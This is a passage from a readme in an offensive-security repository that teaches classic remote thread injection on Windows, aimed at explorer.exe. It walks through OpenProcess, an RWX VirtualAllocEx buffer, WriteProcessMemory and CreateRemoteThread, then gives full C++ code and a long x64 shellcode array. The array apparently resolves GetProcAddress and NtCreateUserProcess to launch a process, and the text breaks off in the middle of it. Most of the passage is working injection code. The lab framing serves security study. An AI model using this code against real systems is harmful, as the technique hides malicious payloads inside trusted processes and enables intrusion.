admin/Offensive-Panda-ProcessInjectionTechniques
1
0
Fork 0
mirror of https://github.com/Offensive-Panda/ProcessInjectionTechniques synced 2026-06-06 16:24:33 +00:00
Code Issues Packages Projects Releases Wiki Activity
Files
main
Offensive-Panda-ProcessInje…/Classic_Code_Injection_Remote/readme.md
T
Offensive-Panda 7ced2a4a71 Exploit Data Added
2024-09-01 10:41:12 +03:00

424 lines
26 KiB
Markdown
Raw Permalink Blame History

<h1 align="center">Classic Code Injection Remote Process</h1>
<p align="center">
<img src="../Assets/classic-remote.jpg" alt="CCIR" width="500px">
</p>
## Overview
In this lab, we cover classic code injection in remote process. This is one of the most straightforward forms of process injection technique also known as Remote Thread Injection. This method involves creating a new thread in a remote process and executing the payload or shellcode within that context. This is often done using Windows API functions such as `OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, and `CreateRemoteThread`.
## Steps
1. `Identify the Target Process:` `Toolhelp32` functions to enumerate running processes and identify the target process by its name.
2. `Obtain a Handle to the Target Process:` `OpenProcess` function to get a handle with necessary access rights (PROCESS_ALL_ACCESS).
3. `Allocate Memory in the Target Process:` `VirtualAllocEx` function to allocate memory in the target process's address space.
4. `Write Shellcode to the Allocated Memory:` `WriteProcessMemory` to write the shellcode into the allocated memory.
5. `Create a Remote Thread to Execute the Shellcode:` `CreateRemoteThread` function to create a new thread in the target process that starts at the address of the our shellcode.
## Walkthrough
These headers are necessary to use the Windows API functions for process enumeration, memory manipulation, and thread creation.
```cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
```
This function, `GetProcessHandleByName`, takes the target process's name (e.g., L"explorer.exe") and returns its handle by enumerating through all running processes.
```cpp
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
```
`VirtualAllocEx` is used to allocate a block of memory in the virtual address space of the target process (explorer.exe). The memory is allocated with `PAGE_EXECUTE_READWRITE` permissions to allow the shellcode to be written and executed.
```cpp
// Allocate a memory buffer for payload with permission RWX
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
```
`WriteProcessMemory` writes our shellcode into the allocated memory in the target process.
```cpp
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
```
`CreateRemoteThread` creates a new thread in the target process. The thread starts executing at the address of the injected shellcode. The code then waits for the thread to complete using `WaitForSingleObject` and cleans up the handles.
```cpp
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
```
## Full Code
```cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
// Shellcode: Hello from offensive Panda
unsigned char sc[] = { 0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03,
0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00,
0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08,
0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18,
0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00,
0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00,
0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85,
0x58, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38,
0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x64, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64,
0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x6C, 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02,
0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F,
0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB,
0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01,
0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x60,
0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10,
0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x50, 0x01,
0x00, 0x00, 0xEB, 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F,
0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00,
0x48, 0x89, 0x85, 0x70, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74,
0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C,
0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0x50, 0x00,
0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x60, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85,
0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x8D, 0x01,
0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D,
0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0xEB,
0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C,
0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F,
0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88,
0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,
0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00,
0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF, 0x83, 0xBD, 0x88,
0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85,
0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,
0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x8C, 0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x88, 0x01, 0x00, 0x00,
0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85,
0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,
0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00,
0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC,
0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x30, 0x48, 0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,
0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA0,
0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8D, 0x98,
0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85,
0xB0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F,
0x63, 0x41, 0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B,
0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x10, 0x48, 0x39, 0x14,
0x01, 0x74, 0x10, 0x8B, 0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89,
0x85, 0xB8, 0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,
0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00,
0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xC0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48,
0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,
0x48, 0x89, 0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x0F, 0xBF,
0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04,
0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x48, 0x89, 0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x98, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00, 0xC7, 0x80, 0x14, 0x01,
0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x78, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00,
0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,
0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41, 0x48, 0x8D,
0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8,
0x52, 0x74, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x01,
0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x43, 0x72, 0x65, 0x61, 0x74,
0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65,
0x73, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,
0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,
0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x00, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,
0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x08, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69,
0x74, 0x55, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,
0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x10, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
0x5C, 0x00, 0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x45, 0x70, 0x48, 0xB8,
0x77, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x48, 0x89, 0x45, 0x78,
0x48, 0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89,
